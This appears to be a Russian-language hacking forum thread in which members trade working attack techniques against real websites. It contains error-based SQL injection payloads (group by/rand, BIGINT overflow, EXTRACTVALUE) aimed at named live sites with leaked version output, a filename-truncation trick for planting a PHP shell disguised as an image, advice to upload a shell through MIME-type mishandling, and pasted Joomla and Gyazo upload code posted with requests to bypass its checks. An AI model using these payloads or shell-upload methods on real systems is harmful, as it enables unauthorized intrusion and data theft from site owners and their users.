Code: 1 https://ums.usmf.md/hr/logAction.php/Z'=0 group by mid(@@version from floor(rand(0)*2))having avg(0)-- - 2 https://ums.usmf.md/hr/logAction.php/Z'--~(select*from(select@@version)f)-- - 1. Duplicate entry '5.6.28' for key 'group_key' 2. BIGINT value is out of range in '-(~((select '5.6.28' from dual)))'
Есть сайт загружает Code: 6621519064845-asd.php.jpg загрузил длинное название с расчетом на обрез Code: 6621519064845-(около 200 символов).php.jpg в результате получил что ожидал Code: 6621519064845-(около 200 символов).php но увы при запись в бд обрезается но на сервере сохраняет оригинал Code: 6621519064845-(около 200 символов).php.jpg Вопрос какое название носят такие уязвимость, и какие фичи эксплуатации можно попробовать? По длине php никак не обрежет ?
Попробуй залить шелл через плохую обработку mine-type используя tor+live http clone Уязвимости типа "некорректной обработки данных при загрузке файлов пользователей". Самая изощренная уязвимость но и самая интересная. Да да, это вам не скули крутить
действительно, там всё известно и понятно Code: root@....[....]> select{omg+1}and(1=0)UNION(select(SELECT{_ .``1.e.table_name}from(information_schema.tables)limit 1)); +-----------------+ | {omg+1}and(1=0) | +-----------------+ | 0 | | CHARACTER_SETS | +-----------------+ 2 rows in set (0.00 sec) каждый баг многогранен
Кто может подсказать направление не как не могу раскрутить Code: http://www.puzzledragonx.com/en/news.asp?nid=494
А ну ка умник расскажи что значит данная ошибка То что ошибка при образование данных это понятно но дальше то что ?
Integer Exeption error нету скули ошибка просто invalid input syntax for type numeric: "" ошибку не возможно раскрутить когда колонка имеет дататайп INT но можно в некоторых базах данных бывает Exception while inserting ... или Incorrect Syntax near ' '. datatype INT и тд) когда колонка сама как стринг а переменная id цифра
Как залить файл php на сервер? И возможно ли это? Имеются исходники. Крутится на joomla 1.5 Могу дать ссылку если нужно. Пытался самостоятельно через curl и charkes - выдает ошибку 1002 - то есть неправильный тип файлов. Пытался подменить. Да. Если в той же Чарли ничего не редактировать, то отправляет на сайт без проблем. Spoiler: share.php Code: <?php include_once dirname(__FILE__) . '/configuration.php'; include_once dirname(__FILE__) . '/includes/share/share.class.php'; $oConfig = new JConfig(); $Image = isset($_POST['content']) ? $_POST['content'] : null; if (is_null($Image)) { $Image = isset($_FILES['content']) ? $_FILES['content'] : null; } $Preview = isset($_POST['preview']) ? $_POST['preview'] : ''; if (empty($Preview)) { $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : ''; } $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']); $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : ''; $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign']; $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/'; if ($Image && $iAuid && $sSign) { $sScriptUri = empty($_SERVER['SCRIPT_URI']) ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_URI']; if (md5($iAuid . $sScriptUri) == $sSign) { $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign); $oSharer->setConfig($oConfig); $sShareUrl = null; $iResult = $oSharer->doShare($sShareUrl); if ($iResult == 1) { print $sBaseUrl . $sShareUrl; } else { print $sBaseUrl . '?ec=' . $iResult; } } else { error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri); print $sBaseUrl . '?ec=1001'; //подпись не совпадает } } else { error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-')); print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры } Spoiler: share.class.php Code: <?php include_once dirname(__FILE__).'/../mysql/mysql.class.php'; class GameShare { private $auid; private $shareType; private $fileInfo; private $previewInfo; private $oConfig; private $sign; private $dbInfo = array(); private $allowedMime = array( 'image/png', 'image/gif', 'image/jpeg', ); /** * @param $auid * @param $fileInfo * @param string $previewInfo * @param string $shareType * @param string $sign */ public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '') { $this->auid = $auid; $this->fileInfo = $fileInfo; $this->previewInfo = $previewInfo; $this->shareType = $shareType; $this->sign = $sign; } /** * @param $sFolder */ private function createFolder($sFolder) { if (!file_exists($sFolder)) { mkdir($sFolder, 0777); } } /** * @return null|string */ private function createUserFolder() { if ($this->auid) { $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName; $this->createFolder($shareFolder); $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/'; $this->createFolder($shareFolder10000); $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/'; $this->createFolder($shareFolder1000); $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/'; $this->createFolder($shareFolder100); $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/'; $this->createFolder($shareFolder1); return $shareFolder1; } return null; } /** * @return string */ public function getUserFolder() { return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000) . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/'; } /** * @param $oConfig */ public function setConfig($oConfig) { $this->oConfig = $oConfig; $this->dbInfo = array( 'mysqlHost' => $this->oConfig->host, 'mysqlUser' => $this->oConfig->user, 'mysqlPassword' => $this->oConfig->password, 'mysqlDB' => $this->oConfig->db, ); } /** * @param $auid */ public function setAuid($auid) { $this->auid = $auid; } /** * @param $sResult * @return int */ public function doShare(& $sResult) { $sUserFolder = $this->createUserFolder(); if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер $time = time(); // Заливаем основную картинку $imageInfo = getimagesize($this->fileInfo['tmp_name']); if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла $aExt = explode('/', $imageInfo['mime']); $fileName = $time . '.' . $aExt[1]; $sDest = $sUserFolder . $fileName; move_uploaded_file($this->fileInfo['tmp_name'], $sDest); // Заливаем превью (если есть что) $previewFileName = ''; if ($this->previewInfo) { $imageInfo = getimagesize($this->previewInfo['tmp_name']); if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла $aExt = explode('/', $imageInfo['mime']); $previewFileName = $time . '-thumb.' . $aExt[1]; $sDest = $sUserFolder . $previewFileName; move_uploaded_file($this->previewInfo['tmp_name'], $sDest); } // Сохраняем, формируем ответ, если ОК $iResult = $this->save($fileName, $previewFileName); if (!$iResult) return 1004; $sResult = '?share='.$iResult; return 1; } /** * @param $fileName * @param string $previewFileName * @return mixed */ public function save($fileName, $previewFileName = '') { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES (' . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())'); return $oSQL->insert_id; } /** * @param $id * @return mixed */ public function get($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id)); return $oResult->fetch_array(); } /** * @param $id * @return int */ public function getPrev($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id)); $aRow = $oResult->fetch_array(); return intval($aRow['prev']); } /** * @param $id * @return int */ public function getNext($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id)); $aRow = $oResult->fetch_array(); return intval($aRow['next']); } /** * @param $auid * @return mixed */ public function checkUserScreens($auid) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid)); $aRow = $oResult->fetch_assoc(); return $aRow['iCnt']; } /** * @param $auid * @return array */ public function getUserScreens($auid) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC'); $aResult = array(); while ($aRow = $oResult->fetch_assoc()) { $aResult[] = $aRow; } return $aResult; } } Spoiler: mysql.class.php Code: <?php class mysqlConnect { private static $oDbInstance = null; /** * @param $connectionData * @return mixed */ public function getInstance($connectionData) { $sKey = md5(serialize($connectionData)); if (empty(self::$oDbInstance[$sKey])) { self::$oDbInstance[$sKey] = mysqli_init(); self::$oDbInstance[$sKey]->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5); if (!self::$oDbInstance[$sKey]->real_connect( $connectionData['mysqlHost'], $connectionData['mysqlUser'], $connectionData['mysqlPassword'], $connectionData['mysqlDB'] )) { self::$oDbInstance[$sKey] = null; } else { self::$oDbInstance[$sKey]->set_charset('utf8'); } } return self::$oDbInstance[$sKey]; } public function __destruct() { /*if (self::$oDbInstance) { self::$oDbInstance->close(); self::$oDbInstance = null; }*/ } }
PHP: ... private $allowedMime = array( 'image/png', 'image/gif', 'image/jpeg', );... if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла $aExt = explode('/', $imageInfo['mime']); $fileName = $time . '.' . $aExt[1]; $sDest = $sUserFolder . $fileName; move_uploaded_file($this->fileInfo['tmp_name'], $sDest);... Расширение сохраняемого файла является частью $imageInfo['mime'], который, ранее, проверяется по белому списку. Поэтому загрузить файл с произвольным расширением не получится.
Ничего не понимаю в Руби, но ситуация аналогична? Скрипт gyazo Файл без каких либо проверок на внутреннюю часть загружается на файл, но сохраняется только в png? Code: File.open("data/#{hash}.png","w").print(imagedata) Есть ли возможность обойти параметр и сохранить файл в расширении php?(Через Чарли например) Code: #!/usr/bin/env ruby # -*- ruby -*- # # $Date$ # $Rev$ # require 'cgi' require 'digest/md5' require 'sdbm' cgi = CGI.new("html3") id = cgi.params['id'][0].read imagedata = cgi.params['imagedata'][0].read hash = Digest::MD5.hexdigest(imagedata) create_newid = false if not id or id == "" then id = Digest::MD5.hexdigest(cgi.remote_addr + Time.now.to_s) create_newid = true end dbm = SDBM.open('db/id',0644) dbm[hash] = id dbm.close File.open("data/#{hash}.png","w").print(imagedata) headers = {} if create_newid then headers = {"X-Gyazo-Id"=>id} end cgi.out(headers){"http://gyazo.com/#{hash}.png"}
парни, подскажите как этот запрос переделать, чтобы вывести инфу из нужной таблицы с условием where ? Code: id=1+AND+EXTRACTVALUE(22,CONCAT(0x5c,version(),(SELECT+(ELT(1=1,1))),database()))--+1